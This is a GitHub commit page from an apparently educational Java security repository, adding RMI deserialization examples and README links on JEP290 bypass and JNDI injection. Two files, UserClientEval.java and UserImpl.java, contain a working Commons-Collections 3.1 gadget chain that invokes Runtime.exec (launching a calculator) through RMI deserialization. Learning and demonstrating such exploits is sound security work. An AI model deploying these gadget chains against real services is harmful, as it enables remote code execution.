Skip to content

Commit e9a54c9

Browse files
Threezh1Threezh1
committed
增加java_jep290与java_jndi
- java_jep290 RMI攻击Bypass jep290限制 - java_jndi 基础例子与JNDI注入
1 parent f16f4d5 commit e9a54c9

44 files changed

Lines changed: 1177 additions & 1 deletion

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎Commons_collection3_1/.classpath‎

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<classpath>
3+
<classpathentry kind="src" output="target/classes" path="src/main/java">
4+
<attributes>
5+
<attribute name="optional" value="true"/>
6+
<attribute name="maven.pomderived" value="true"/>
7+
</attributes>
8+
</classpathentry>
9+
<classpathentry kind="src" output="target/test-classes" path="src/test/java">
10+
<attributes>
11+
<attribute name="optional" value="true"/>
12+
<attribute name="maven.pomderived" value="true"/>
13+
<attribute name="test" value="true"/>
14+
</attributes>
15+
</classpathentry>
16+
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/J2SE-1.5">
17+
<attributes>
18+
<attribute name="maven.pomderived" value="true"/>
19+
</attributes>
20+
</classpathentry>
21+
<classpathentry kind="con" path="org.eclipse.m2e.MAVEN2_CLASSPATH_CONTAINER">
22+
<attributes>
23+
<attribute name="maven.pomderived" value="true"/>
24+
</attributes>
25+
</classpathentry>
26+
<classpathentry kind="src" path="target/generated-sources/annotations">
27+
<attributes>
28+
<attribute name="optional" value="true"/>
29+
<attribute name="maven.pomderived" value="true"/>
30+
<attribute name="ignore_optional_problems" value="true"/>
31+
<attribute name="m2e-apt" value="true"/>
32+
</attributes>
33+
</classpathentry>
34+
<classpathentry kind="src" output="target/test-classes" path="target/generated-test-sources/test-annotations">
35+
<attributes>
36+
<attribute name="optional" value="true"/>
37+
<attribute name="maven.pomderived" value="true"/>
38+
<attribute name="ignore_optional_problems" value="true"/>
39+
<attribute name="m2e-apt" value="true"/>
40+
<attribute name="test" value="true"/>
41+
</attributes>
42+
</classpathentry>
43+
<classpathentry kind="output" path="target/classes"/>
44+
</classpath>

‎Commons_collection3_1/.project‎

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<projectDescription>
3+
<name>Commons-collections3-1</name>
4+
<comment></comment>
5+
<projects>
6+
</projects>
7+
<buildSpec>
8+
<buildCommand>
9+
<name>org.eclipse.jdt.core.javabuilder</name>
10+
<arguments>
11+
</arguments>
12+
</buildCommand>
13+
<buildCommand>
14+
<name>org.eclipse.m2e.core.maven2Builder</name>
15+
<arguments>
16+
</arguments>
17+
</buildCommand>
18+
</buildSpec>
19+
<natures>
20+
<nature>org.eclipse.jdt.core.javanature</nature>
21+
<nature>org.eclipse.m2e.core.maven2Nature</nature>
22+
</natures>
23+
<filteredResources>
24+
<filter>
25+
<id>1608104623375</id>
26+
<name></name>
27+
<type>30</type>
28+
<matcher>
29+
<id>org.eclipse.core.resources.regexFilterMatcher</id>
30+
<arguments>node_modules|.git|__CREATED_BY_JAVA_LANGUAGE_SERVER__</arguments>
31+
</matcher>
32+
</filter>
33+
</filteredResources>
34+
</projectDescription>

‎Commons_collection3_1/.settings/org.eclipse.jdt.apt.core.prefs‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
eclipse.preferences.version=1
2+
org.eclipse.jdt.apt.aptEnabled=false

‎Commons_collection3_1/.settings/org.eclipse.jdt.core.prefs‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
eclipse.preferences.version=1
2+
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5
3+
org.eclipse.jdt.core.compiler.compliance=1.5
4+
org.eclipse.jdt.core.compiler.problem.enablePreviewFeatures=disabled
5+
org.eclipse.jdt.core.compiler.problem.forbiddenReference=warning
6+
org.eclipse.jdt.core.compiler.problem.reportPreviewFeatures=ignore
7+
org.eclipse.jdt.core.compiler.processAnnotations=disabled
8+
org.eclipse.jdt.core.compiler.release=disabled
9+
org.eclipse.jdt.core.compiler.source=1.5

‎Commons_collection3_1/.settings/org.eclipse.m2e.core.prefs‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
activeProfiles=
2+
eclipse.preferences.version=1
3+
resolveWorkspaceProjects=true
4+
version=1

‎README.md‎

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,8 @@ Stored notes and program examples summarized in the process of learning JAVA
77
## JAVA学习总结文章
88

99
- [JAVA反序列化 & Commons-Collections-3.1 反序列化分析](https://threezh1.com/2020/12/10/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80_CommonCollection31%E5%88%86%E6%9E%90/)
10+
- [JAVA RMI 反序列化攻击 & JEP290 Bypass分析](https://threezh1.com/2020/12/19/JAVA_RMI_Learn/)
11+
- [JAVA JNDI注入基础与高版本限制绕过](https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/)
1012

1113
## 代码库
1214

@@ -16,4 +18,7 @@ Stored notes and program examples summarized in the process of learning JAVA
1618
- SimpleProxy 静态代理和动态代理
1719
- SimpleRMI_1 使用Naming的RMI
1820
- SimpleRMI_2 使用Registry的RMI
19-
- SimpleRMI_DiyStubAndSkeleton 自定义的Stub和Skeleton
21+
- SimpleRMI_3 RMI反序列化攻击所用的例子
22+
- SimpleRMI_DiyStubAndSkeleton 自定义的Stub和Skeleton
23+
- java_jep290 RMI攻击Bypass jep290限制
24+
- java_jndi 基础例子与JNDI注入

‎SimpleRMI_3/User.java‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
package SimpleRMI_3;
2+
3+
import java.rmi.Remote;
4+
import java.rmi.RemoteException;
5+
6+
public interface User extends Remote{
7+
String name(String name) throws RemoteException;
8+
void say(String say) throws RemoteException;
9+
void dowork(Object work) throws RemoteException;
10+
Object getwork() throws RemoteException;
11+
}

‎SimpleRMI_3/UserClient.java‎

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
package SimpleRMI_3;
2+
3+
import java.rmi.registry.LocateRegistry;
4+
import java.rmi.registry.Registry;
5+
6+
public class UserClient {
7+
public static void main(String[] args) throws Exception{
8+
Registry registry = LocateRegistry.getRegistry(3333); // 获取注册表
9+
User userClient = (User) registry.lookup("HelloRegistry"); // 获取命名为HelloRegistr的远程对象的stub
10+
System.out.println(userClient.name("test"));
11+
userClient.say("world");
12+
userClient.getwork();
13+
}
14+
}

‎SimpleRMI_3/UserClientEval.java‎

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
package SimpleRMI_3;
2+
3+
import org.apache.commons.collections.Transformer;
4+
import org.apache.commons.collections.functors.ChainedTransformer;
5+
import org.apache.commons.collections.functors.ConstantTransformer;
6+
import org.apache.commons.collections.functors.InvokerTransformer;
7+
import org.apache.commons.collections.map.TransformedMap;
8+
9+
import java.lang.annotation.Target;
10+
import java.lang.reflect.Constructor;
11+
import java.rmi.registry.LocateRegistry;
12+
import java.rmi.registry.Registry;
13+
import java.util.HashMap;
14+
import java.util.Map;
15+
16+
public class UserClientEval {
17+
public static void main(String[] args) throws Exception{
18+
Registry registry = LocateRegistry.getRegistry(3333);
19+
User userClient = (User) registry.lookup("HelloRegistry");
20+
System.out.println(userClient.name("test"));
21+
userClient.say("world");// 这里会在server端输出
22+
userClient.dowork(getpayload());
23+
}
24+
25+
public static Object getpayload() {
26+
try {
27+
Transformer[] transformers = new Transformer[]{
28+
new ConstantTransformer(Runtime.class),
29+
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
30+
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
31+
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
32+
};
33+
Transformer transformerChain = new ChainedTransformer(transformers);
34+
35+
Map map = new HashMap();
36+
map.put("value", "test");
37+
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
38+
39+
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
40+
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
41+
ctor.setAccessible(true);
42+
Object instance = ctor.newInstance(Target.class, transformedMap);
43+
return instance;
44+
}catch (Exception e){
45+
e.printStackTrace();
46+
}
47+
return null;
48+
}
49+
}

‎SimpleRMI_3/UserImpl.java‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
package SimpleRMI_3;
2+
3+
import org.apache.commons.collections.Transformer;
4+
import org.apache.commons.collections.functors.ChainedTransformer;
5+
import org.apache.commons.collections.functors.ConstantTransformer;
6+
import org.apache.commons.collections.functors.InvokerTransformer;
7+
import org.apache.commons.collections.map.TransformedMap;
8+
9+
import java.lang.reflect.Constructor;
10+
import java.rmi.RemoteException;
11+
import java.rmi.server.UnicastRemoteObject;
12+
import java.util.HashMap;
13+
import java.util.Map;
14+
15+
public class UserImpl extends UnicastRemoteObject implements User {
16+
17+
public UserImpl() throws RemoteException{
18+
super();
19+
}
20+
public String name(String name) throws RemoteException{
21+
return name;
22+
}
23+
public void say(String say) throws RemoteException{
24+
System.out.println("you speak" + say);
25+
}
26+
public void dowork(Object work) throws RemoteException{
27+
System.out.println("your work is " + work);
28+
}
29+
30+
public Object getwork() throws RemoteException {
31+
Object evalObject = null;
32+
try {
33+
Transformer[] transformers = new Transformer[] {
34+
new ConstantTransformer(Runtime.class),
35+
new InvokerTransformer("getMethod",
36+
new Class[] {String.class, Class[].class},
37+
new Object[] {"getRuntime", new Class[0]}),
38+
new InvokerTransformer("invoke",
39+
new Class[] {Object.class, Object[].class},
40+
new Object[] {null, new Object[0] }),
41+
new InvokerTransformer("exec",
42+
new Class[] {String.class},
43+
new Object[] {"open -a Calculator"})
44+
};
45+
Transformer transformerChain = new ChainedTransformer(transformers);
46+
Map innerMap = new HashMap();
47+
innerMap.put("value", "Threezh1");
48+
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
49+
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
50+
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
51+
cons.setAccessible(true);
52+
evalObject = cons.newInstance(java.lang.annotation.Retention.class, outerMap);
53+
}catch (Exception e){
54+
e.printStackTrace();
55+
}
56+
return evalObject;
57+
}
58+
}

0 commit comments

Comments
 (0)